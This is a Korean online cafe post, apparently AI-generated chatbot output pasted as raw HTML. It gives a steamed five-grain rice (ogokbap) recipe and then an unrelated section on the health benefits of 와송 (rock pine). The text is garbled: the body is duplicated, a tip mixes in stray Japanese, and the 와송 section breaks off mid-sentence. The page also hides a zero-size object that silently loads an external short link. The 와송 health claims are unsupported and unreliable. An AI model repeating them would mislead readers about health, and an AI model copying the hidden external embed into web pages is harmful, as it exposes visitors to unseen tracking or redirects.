<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">간단하게 오곡밥 만들기 만드는법 (찜기)</h2><p data-sourcepos="3:1-3:103">오늘은 찐 오곡밥 만드는 방법을 소개합니다. 찜기로 짓는 오곡밥은 밥솥으로 만드는 오곡밥보다 훨씬 더 고소하고 찰떡궁합이 좋아요. 건강에도 좋고 맛도 좋은 오곡밥, 한번 만들어 보세요!</p><p data-sourcepos="5:1-5:6"><strong>재료</strong></p><ul data-sourcepos="7:1-16:0">
<li data-sourcepos="7:1-7:7">찹쌀 2컵</li>
<li data-sourcepos="8:1-8:7">찰조 1컵</li>
<li data-sourcepos="9:1-9:8">찰수수 1컵</li>
<li data-sourcepos="10:1-10:10">검은콩 1/2컵</li>
<li data-sourcepos="11:1-11:8">팥 1/2컵</li>
<li data-sourcepos="12:1-12:6">밤 5개</li>
<li data-sourcepos="13:1-13:7">대추 5개</li>
<li data-sourcepos="14:1-14:12">소금 1/2 작은술</li>
<li data-sourcepos="15:1-16:0">물 4컵</li>
</ul><p data-sourcepos="17:1-17:7"><strong>레시피</strong></p><ol data-sourcepos="19:1-34:0">
<li data-sourcepos="19:1-21:0">
<p data-sourcepos="19:4-19:68">찹쌀, 찰조, 찰수수, 검은콩, 팥은 찬물에 3시간 이상 불린다. 밤과 대추는 깨끗이 씻어 물에 30분 정도 불린다.</p>
</li>
<li data-sourcepos="22:1-24:0">
<p data-sourcepos="22:4-23:26">찜기에 물을 넉넉히 넣고 끓인다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_18357f3b9a3c92e7&quot;,&quot;c_e294080bb8dcb64b&quot;,null,&quot;rc_c72cc54ba22232cc&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.cjthemarket.com/mo/prod/prodDetail?prdCd=40163738&amp;ctgrId=&amp;plnId=400036&amp;giftSetEvntId=&amp;ssoLoginYN=N&amp;cjssoq="><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="찜기에 물 넣고 끓이는 모습 " src="https://lh3.googleusercontent.com/bip/ACo7QZ5JTjhQyBrchRZ_kwHUd1ieydoqvHTmOVYRHfD6aqVyLp5c1ermA399HUWk8_Du-Agp_cCThFVxFBZREyFhPFnqDULodfZPbcqj_0NilT26rdYyy-TZUCMr9gLJKkk9tKZKy18iI7JVaDrz5ZgondCn7SpWtA=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://m.cjthemarket.com/mo/prod/prodDetail?prdCd=40163738&amp;ctgrId=&amp;plnId=400036&amp;giftSetEvntId=&amp;ssoLoginYN=N&amp;cjssoq=" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_18357f3b9a3c92e7&quot;,&quot;c_e294080bb8dcb64b&quot;,null,&quot;rc_c72cc54ba22232cc&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTb-z69306dHHFOGKm49dDBPvMkYYQGDvCFy-RUnrvG9QyQwVMD3PnP2Drl1YgTSJb0A1SLrnBf6DGcZeBoEy2z-UP1E2iGweCMgmk"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">m.cjthemarket.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 찜기에 물 넣고 끓이는 모습 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p>
</li>
<li data-sourcepos="25:1-27:0">
<p data-sourcepos="25:4-25:45">불린 찹쌀, 찰조, 찰수수, 검은콩, 팥, 밤, 대추, 소금을 넣고 섞는다.</p>
</li>
<li data-sourcepos="28:1-30:0">
<p data-sourcepos="28:4-29:23">찜기에 넣고 1시간 30분 정도 찐다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_18357f3b9a3c92e7&quot;,&quot;c_e294080bb8dcb64b&quot;,null,&quot;rc_c72cc54ba22232cc&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://1the-diet.com/%EB%8B%A8%ED%98%B8%EB%B0%95-%EC%B0%8C%EB%8A%94%EB%B2%95/"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="찜기에 넣고 찌는 모습 " src="https://lh3.googleusercontent.com/bip/ACo7QZ7DjZLoWTGzJWdG0ovlxhkVdZNtjv5RlCNHq3tKacwu_Lr2Ief7MZNHwGESUOqDSl7tqkjpo6zNDcxC69XQChVbGeH_4hb3OWPS99XZTACgNFogeWV4IJDnguQbBr2gQFrsRTsgZVnMgu8uz5cH7xI6v1_ZI7NPAFQQeEiHjrmG3kFla-ZB373x0iOPTbdpp5b__ZFTJiZv6pYs-ap_sMXaJSIEKw=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://1the-diet.com/%EB%8B%A8%ED%98%B8%EB%B0%95-%EC%B0%8C%EB%8A%94%EB%B2%95/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_18357f3b9a3c92e7&quot;,&quot;c_e294080bb8dcb64b&quot;,null,&quot;rc_c72cc54ba22232cc&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcQBtqqi1YTpdA7bHYFMYmsVADxnYs_fylKuC_8JWTGYDXMP5ZSGaR4LXsJVaD3a4ueKXx-ZQi7-Osf6aHnbqJd7H7WT26OrTA"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">1the-diet.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 찜기에 넣고 찌는 모습 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p>
</li>
<li data-sourcepos="31:1-32:0">
<p data-sourcepos="31:4-31:44">1시간 30분 후 꺼내 밥술로 풉풉 풀어주고 10분 정도 더 뜸을 들인다.</p>
</li>
<li data-sourcepos="33:1-34:0">
<p data-sourcepos="33:4-33:6">완성!</p>
</li>
</ol><p data-sourcepos="35:1-35:5"><strong>팁</strong></p><ul data-sourcepos="37:1-41:0">
<li data-sourcepos="37:1-37:25">찹쌀 대신 찰보리 1컵을 넣어도 좋습니다.</li>
<li data-sourcepos="38:1-38:18">밤과 대추는 생략해도 됩니다.</li>
<li data-sourcepos="39:1-39:19">취향에 따라 소금을 조절합니다.</li>
<li data-sourcepos="40:1-41:0">찐 시간은 찜기의 종류에 따라 다를 수 있으니 확인しながら 조절합니다.</li>
</ul><p data-sourcepos="42:1-42:6"><strong>리뷰</strong></p><p data-sourcepos="44:1-44:110">저는 오늘 처음으로 찐 오곡밥을 만들어 먹었는데 정말 맛있더라고요! 밥솥으로 만드는 오곡밥보다 훨씬 더 고소하고 찰떡궁합이 좋았어요. 건강에도 좋고 맛도 좋은 오곡밥, 여러분도 한번 만들어 보세요!</p><p data-sourcepos="46:1-46:25"><strong>와송 효능 부작용 바위솔 와송즙 와송주</strong></p><p data-sourcepos="48:1-48:85">와송은 최근 건강에 좋은 식품으로 인기를 얻고 있습니다. 와송에는 다양한 영양소가 풍부하게 함유되어 있으며, 이는 다음과 같은 다양한 효능을 제공합니다.</p><ul data-sourcepos="50:1-55:0">
<li data-sourcepos="50:1-50:92"><strong>면역력 강화:</strong> 와송에는 베타글루칸이라는 성분이 풍부하게 함유되어 있습니다. 베타글루칸은 면역 체계를 강화하고 감염으로부터 몸을 보호하는 데 도움이 됩니다.</li>
<li data-sourcepos="51:1-51:90"><strong>혈관 건강 개선:</strong> 와송에는 식이섬유가 풍부하게 함유되어 있습니다. 식이섬유는 혈관 내 나쁜 콜레스테롤 수치를 낮추고 혈압을 조절하는 데 도움이 됩니다.</li>
<li data-sourcepos="52:1-52:87"><strong>피부 건강 개선:</strong> 와송에는 비타민 C가 풍부하게 함유되어 있습니다. 비타민 C는 피부의 콜라겐 생성을 촉진하고 노화를 방지하는 데 도움이 됩니다.</li>
<li data-sourcepos="53:1-53:58"><strong>혈당 조절:</strong> 와송에는 인슐린 민감도를 높여 혈당 조절에 도움이 되는 성분이 함유되어 있습니다.</li>
<li data-sourcepos="54:1-55:0"><strong>소화 개선:</strong> 와송에는 식이섬유가 풍부하게 함유되어 있어 소화 기능을 개선하고 변비를 예방하는 데 도움이 됩니다.</li>
</ul><p data-sourcepos="56:1-56:41">하지만 와송을 과다하게 섭취하면 다음과 같은 부작용이 발생할 수 있습니다.</p><ul data-sourcepos="58:1-59:26">
<li data-sourcepos="58:1-58:66"><strong>복통:</strong> 와송에는 식이섬유가 풍부하게 함유되어 있어 복통, 설사, 변비 등의 소화 장애를 유발할 수 있습니다.</li>
<li data-sourcepos="59:1-59:26"><strong>혈당 감소:</strong> 와송은 혈당 조절에 도움</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">간단하게 오곡밥 만들기 만드는법 (찜기)</h2><p data-sourcepos="3:1-3:103">오늘은 찐 오곡밥 만드는 방법을 소개합니다. 찜기로 짓는 오곡밥은 밥솥으로 만드는 오곡밥보다 훨씬 더 고소하고 찰떡궁합이 좋아요. 건강에도 좋고 맛도 좋은 오곡밥, 한번 만들어 보세요!</p><p data-sourcepos="5:1-5:6"><strong>재료</strong></p><ul data-sourcepos="7:1-16:0">
<li data-sourcepos="7:1-7:7">찹쌀 2컵</li>
<li data-sourcepos="8:1-8:7">찰조 1컵</li>
<li data-sourcepos="9:1-9:8">찰수수 1컵</li>
<li data-sourcepos="10:1-10:10">검은콩 1/2컵</li>
<li data-sourcepos="11:1-11:8">팥 1/2컵</li>
<li data-sourcepos="12:1-12:6">밤 5개</li>
<li data-sourcepos="13:1-13:7">대추 5개</li>
<li data-sourcepos="14:1-14:12">소금 1/2 작은술</li>
<li data-sourcepos="15:1-16:0">물 4컵</li>
</ul><p data-sourcepos="17:1-17:7"><strong>레시피</strong></p><ol data-sourcepos="19:1-34:0">
<li data-sourcepos="19:1-21:0">
<p data-sourcepos="19:4-19:68">찹쌀, 찰조, 찰수수, 검은콩, 팥은 찬물에 3시간 이상 불린다. 밤과 대추는 깨끗이 씻어 물에 30분 정도 불린다.</p>
</li>
<li data-sourcepos="22:1-24:0">
<p data-sourcepos="22:4-23:26">찜기에 물을 넉넉히 넣고 끓인다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_18357f3b9a3c92e7","c_e294080bb8dcb64b",null,"rc_c72cc54ba22232cc",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.cjthemarket.com/mo/prod/prodDetail?prdCd=40163738&ctgrId=&plnId=400036&giftSetEvntId=&ssoLoginYN=N&cjssoq="><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="찜기에 물 넣고 끓이는 모습 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ5JTjhQyBrchRZ_kwHUd1ieydoqvHTmOVYRHfD6aqVyLp5c1ermA399HUWk8_Du-Agp_cCThFVxFBZREyFhPFnqDULodfZPbcqj_0NilT26rdYyy-TZUCMr9gLJKkk9tKZKy18iI7JVaDrz5ZgondCn7SpWtA%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://m.cjthemarket.com/mo/prod/prodDetail?prdCd=40163738&ctgrId=&plnId=400036&giftSetEvntId=&ssoLoginYN=N&cjssoq=" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_18357f3b9a3c92e7","c_e294080bb8dcb64b",null,"rc_c72cc54ba22232cc",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTb-z69306dHHFOGKm49dDBPvMkYYQGDvCFy-RUnrvG9QyQwVMD3PnP2Drl1YgTSJb0A1SLrnBf6DGcZeBoEy2z-UP1E2iGweCMgmk"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">m.cjthemarket.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 찜기에 물 넣고 끓이는 모습 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p>
</li>
<li data-sourcepos="25:1-27:0">
<p data-sourcepos="25:4-25:45">불린 찹쌀, 찰조, 찰수수, 검은콩, 팥, 밤, 대추, 소금을 넣고 섞는다.</p>
</li>
<li data-sourcepos="28:1-30:0">
<p data-sourcepos="28:4-29:23">찜기에 넣고 1시간 30분 정도 찐다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_18357f3b9a3c92e7","c_e294080bb8dcb64b",null,"rc_c72cc54ba22232cc",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://1the-diet.com/%EB%8B%A8%ED%98%B8%EB%B0%95-%EC%B0%8C%EB%8A%94%EB%B2%95/"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="찜기에 넣고 찌는 모습 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ7DjZLoWTGzJWdG0ovlxhkVdZNtjv5RlCNHq3tKacwu_Lr2Ief7MZNHwGESUOqDSl7tqkjpo6zNDcxC69XQChVbGeH_4hb3OWPS99XZTACgNFogeWV4IJDnguQbBr2gQFrsRTsgZVnMgu8uz5cH7xI6v1_ZI7NPAFQQeEiHjrmG3kFla-ZB373x0iOPTbdpp5b__ZFTJiZv6pYs-ap_sMXaJSIEKw%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://1the-diet.com/%EB%8B%A8%ED%98%B8%EB%B0%95-%EC%B0%8C%EB%8A%94%EB%B2%95/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_18357f3b9a3c92e7","c_e294080bb8dcb64b",null,"rc_c72cc54ba22232cc",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQBtqqi1YTpdA7bHYFMYmsVADxnYs_fylKuC_8JWTGYDXMP5ZSGaR4LXsJVaD3a4ueKXx-ZQi7-Osf6aHnbqJd7H7WT26OrTA"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">1the-diet.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 찜기에 넣고 찌는 모습 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p>
</li>
<li data-sourcepos="31:1-32:0">
<p data-sourcepos="31:4-31:44">1시간 30분 후 꺼내 밥술로 풉풉 풀어주고 10분 정도 더 뜸을 들인다.</p>
</li>
<li data-sourcepos="33:1-34:0">
<p data-sourcepos="33:4-33:6">완성!</p>
</li>
</ol><p data-sourcepos="35:1-35:5"><strong>팁</strong></p><ul data-sourcepos="37:1-41:0">
<li data-sourcepos="37:1-37:25">찹쌀 대신 찰보리 1컵을 넣어도 좋습니다.</li>
<li data-sourcepos="38:1-38:18">밤과 대추는 생략해도 됩니다.</li>
<li data-sourcepos="39:1-39:19">취향에 따라 소금을 조절합니다.</li>
<li data-sourcepos="40:1-41:0">찐 시간은 찜기의 종류에 따라 다를 수 있으니 확인しながら 조절합니다.</li>
</ul><p data-sourcepos="42:1-42:6"><strong>리뷰</strong></p><p data-sourcepos="44:1-44:110">저는 오늘 처음으로 찐 오곡밥을 만들어 먹었는데 정말 맛있더라고요! 밥솥으로 만드는 오곡밥보다 훨씬 더 고소하고 찰떡궁합이 좋았어요. 건강에도 좋고 맛도 좋은 오곡밥, 여러분도 한번 만들어 보세요!</p><p data-sourcepos="46:1-46:25"><strong>와송 효능 부작용 바위솔 와송즙 와송주</strong></p><p data-sourcepos="48:1-48:85">와송은 최근 건강에 좋은 식품으로 인기를 얻고 있습니다. 와송에는 다양한 영양소가 풍부하게 함유되어 있으며, 이는 다음과 같은 다양한 효능을 제공합니다.</p><ul data-sourcepos="50:1-55:0">
<li data-sourcepos="50:1-50:92"><strong>면역력 강화:</strong> 와송에는 베타글루칸이라는 성분이 풍부하게 함유되어 있습니다. 베타글루칸은 면역 체계를 강화하고 감염으로부터 몸을 보호하는 데 도움이 됩니다.</li>
<li data-sourcepos="51:1-51:90"><strong>혈관 건강 개선:</strong> 와송에는 식이섬유가 풍부하게 함유되어 있습니다. 식이섬유는 혈관 내 나쁜 콜레스테롤 수치를 낮추고 혈압을 조절하는 데 도움이 됩니다.</li>
<li data-sourcepos="52:1-52:87"><strong>피부 건강 개선:</strong> 와송에는 비타민 C가 풍부하게 함유되어 있습니다. 비타민 C는 피부의 콜라겐 생성을 촉진하고 노화를 방지하는 데 도움이 됩니다.</li>
<li data-sourcepos="53:1-53:58"><strong>혈당 조절:</strong> 와송에는 인슐린 민감도를 높여 혈당 조절에 도움이 되는 성분이 함유되어 있습니다.</li>
<li data-sourcepos="54:1-55:0"><strong>소화 개선:</strong> 와송에는 식이섬유가 풍부하게 함유되어 있어 소화 기능을 개선하고 변비를 예방하는 데 도움이 됩니다.</li>
</ul><p data-sourcepos="56:1-56:41">하지만 와송을 과다하게 섭취하면 다음과 같은 부작용이 발생할 수 있습니다.</p><ul data-sourcepos="58:1-59:26">
<li data-sourcepos="58:1-58:66"><strong>복통:</strong> 와송에는 식이섬유가 풍부하게 함유되어 있어 복통, 설사, 변비 등의 소화 장애를 유발할 수 있습니다.</li>
<li data-sourcepos="59:1-59:26"><strong>혈당 감소:</strong> 와송은 혈당 조절에 도움</li>
</ul></div>
</div></div>
<!-- -->
]]>
카페 게시글
지식 게시판
간단하게 오곡밥 만들기 만드는법 (찜기)
한서이
추천 0
조회 6
24.10.25 02:21
댓글 0
다음검색
